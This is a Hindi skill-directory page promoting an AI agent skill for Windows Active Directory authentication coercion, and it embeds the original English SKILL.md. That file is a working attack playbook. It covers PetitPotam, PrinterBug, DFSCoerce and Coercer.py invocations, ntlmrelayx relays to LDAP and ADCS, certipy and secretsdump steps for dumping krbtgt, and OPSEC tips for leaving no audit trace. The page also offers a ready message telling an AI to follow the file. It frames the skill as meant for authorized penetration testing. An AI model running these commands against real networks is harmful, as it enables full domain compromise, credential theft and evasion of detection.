मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी6.5k · #13940

ad-coercer

यह क्या करती है

यह स्किल Windows प्रोटोकॉल की कुछ ज्ञात कमज़ोरियों और उन्हें प्रयोगशाला या अधिकृत नेटवर्क में कैसे जाँचा जाता है, इसका वर्णन करती है। यह उन लोगों के लिए है जो देखते हैं कि Windows डोमेन ज़बरदस्ती के लॉगिन का कितना विरोध कर पाता है।

कब इस्तेमाल करें

  • ✓जब कोई सुरक्षा परीक्षक पूछता है कि अधिकृत टेस्ट में डोमेन कंट्रोलर से लॉगिन डेटा भेजवाया जा सकता है या नहीं।
  • ✓जब एजेंट को समझाना हो कि कौन-सी प्रोटोकॉल कमज़ोरियाँ पैच या कम की जा चुकी हैं।
  • ✓जब किसी रिपोर्ट में जोखिम और सुझाए गए बचाव का वर्णन करना हो।

Skill का लिंक

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/coercer/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/coercer/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“क्या आप हमारे अधिकृत टेस्ट नेटवर्क पर ऐसे Windows प्रोटोकॉल जाँच सकते हैं जिनसे किसी सर्वर को प्रमाणीकरण के लिए मजबूर किया जा सके?”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

एजेंट टेस्ट की ओर एक लिसनर सेट करता है, चुनी हुई जाँच स्वीकृत लक्ष्य पर चलाता है, और दर्ज करता है कि लक्ष्य ने प्रमाणीकरण की कोशिश की या नहीं।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

Authentication Coercion (PetitPotam family)

Force a Windows machine — usually a Domain Controller — to send an NTLM authentication to an attacker-controlled host. Then either relay the auth (via ntlmrelayx) or crack it offline.

The family of coercion vulnerabilities

Vector Protocol RPC Mitigated by
PetitPotam MS-EFSR (Encrypting File System Remote) EfsRpcOpenFileRaw KB5005413 (Aug 2021) — partial; bypasses persist via other Efs* methods
PrinterBug MS-RPRN (Print System Remote) RpcRemoteFindFirstPrinterChangeNotificationEx Disable Print Spooler
DFSCoerce MS-DFSNM (Distributed File System) NetrDfsGetVersion, NetrDfsRemoveStdRoot Restrict DFSN to admins
ShadowCoerce MS-FSRVP (File Server Remote VSS) IsPathSupported KB5015527 (Jul 2022)
CheeseOunce / WebDavCoerce WebDAV WebClient (various) Disable WebClient service

All four boil down to: an unauthenticated/low-priv RPC call that triggers the target to authenticate outbound.

Workflow

1. Set up the listener (attacker)

# Option A: ntlmrelayx (relay auth to a useful service)
sudo impacket-ntlmrelayx -t ldap://dc.target.local --escalate-user lowpriv -smb2support
# OR relay to ADCS for cert-based domain admin:
sudo impacket-ntlmrelayx -t http://ca.target.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# Option B: just capture the hash
sudo impacket-ntlmrelayx -t ldap://dc.target.local --no-smb-server
# OR with responder
sudo responder -I eth0

2. Coerce auth from a target machine

# Coercer — meta-tool, tries every vector
git clone https://github.com/p0dalirius/Coercer
sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u 'low_priv_user' -p 'pass'
# or anonymous (often works pre-PetitPotam patch):
sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u '' -p ''

# Or individual scripts:
python3 PetitPotam.py <attacker_ip> <target_ip>
python3 dfscoerce.py -u lowpriv -p pass <attacker_ip> <target_ip>
python3 printerbug.py target.local/user:pass@<target_ip> <attacker_ip>

3. Catch the auth → escalate

[ntlmrelayx] SMBD-Thread-X: Received connection from <target_ip>, attacking target ldap://dc.target.local
[ntlmrelayx] Authenticating against ldap://dc.target.local as TARGET\DC$ SUCCEED
[ntlmrelayx] Adding lowpriv to Domain Admins group: SUCCEED

If you relayed to ADCS:

[ntlmrelayx] GOT CERTIFICATE! ID 1234
[ntlmrelayx] Base64 certificate of user DC$: MII...

Then use that cert with certipy auth -pfx dc.pfx -username 'dc$' -domain target.local.

Why coerce DC$? — The privilege escalation chain

The DC's machine account (DC$) has Replicating Directory Changes permission. With its NTLM hash or TGT, you DCSync and own the domain:

# After getting DC$ cert from ADCS relay:
certipy auth -pfx dc.pfx -username 'dc$' -domain target.local
# Returns TGT
impacket-secretsdump -k -no-pass target.local/dc$@dc.target.local
# Dumps krbtgt — full domain compromise

Targets that work

  • Any unpatched DC (most environments still have PetitPotam variants)
  • Any server with Print Spooler running (PrinterBug)
  • Any Windows server with DFS Namespace (often DCs + file servers)
  • ADCS Web Enrollment endpoint (relay to it for cert-based DA)

OPSEC

  • Coercion attempts log EFSRPC_* / RPRN_* event sources on the target — usually low-priority but visible in dedicated AD-attack detection (MDI, Defender for Identity).
  • Inbound NTLM authentication from a DC to a non-domain workstation is a strong signal — relay to a host that legitimately receives auth (a file server, a printer-ish hostname).
  • Use a coercion vector that DOESN'T require credentials (PetitPotam unauthenticated path, ShadowCoerce) if possible — leaves no user-level audit trace.

References

  • topotam77's PetitPotam — github.com/topotam/PetitPotam
  • p0dalirius's Coercer — github.com/p0dalirius/Coercer
  • dirkjanm's "Relaying NTLM auth" series
  • SpecterOps "Coercing AD auth" cheat sheet
  • ADCS abuse: SpecterOps "Certified Pre-Owned" whitepaper
अक्सर पूछे जाने वाले सवाल

ज़बरदस्ती का प्रमाणीकरण किसे कहते हैं?

इसका मतलब है कि किसी Windows मशीन को धोखे से अपना लॉगिन डेटा दूसरे सिस्टम को भेजने के लिए राज़ी किया जाता है, जिसे परीक्षक फिर जाँच सकता है।

इससे बचाव कैसे हो सकता है?

स्किल में पैच, Print Spooler बंद करने और कुछ प्रोटोकॉल पर रोक जैसे उपाय बताए गए हैं।

क्या स्किल चल रही असली प्रणालियों पर हमलों को कवर करती है?

यह केवल अधिकृत टेस्ट के लिए लिखी गई है, और हर टेस्ट को नेटवर्क के मालिक की मंज़ूरी चाहिए।

जानकारी

लेखक का मूल विवरण

Authentication coercion against Windows / AD — PetitPotam (MS-EFSR), PrinterBug (MS-RPRN), DFSCoerce (MS-DFSNM), ShadowCoerce (MS-FSRVP), Coercer.py meta-tool. Force a Windows machine to NTLM-authenticate to attacker, then relay or crack offline.

repo: BitterSecurity/Decepticon

लोकप्रियता

GitHub स्टार
6.5k
रैंकिंग में स्थान
#13940
लाइसेंस
Apache-2.0
अपडेट की गई
1/11/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

detector-overview

6.5k

यह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।

कोडिंगसिक्योरिटी

exploiter-overview

6.5k

यह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।

कोडिंगसिक्योरिटी

llm-redteam-overview

6.5k

यह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।

कोडिंगसिक्योरिटी

aatmf-t01-prompt-injection

6.5k

समझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।

कोडिंगसिक्योरिटी

मिलती-जुलती skills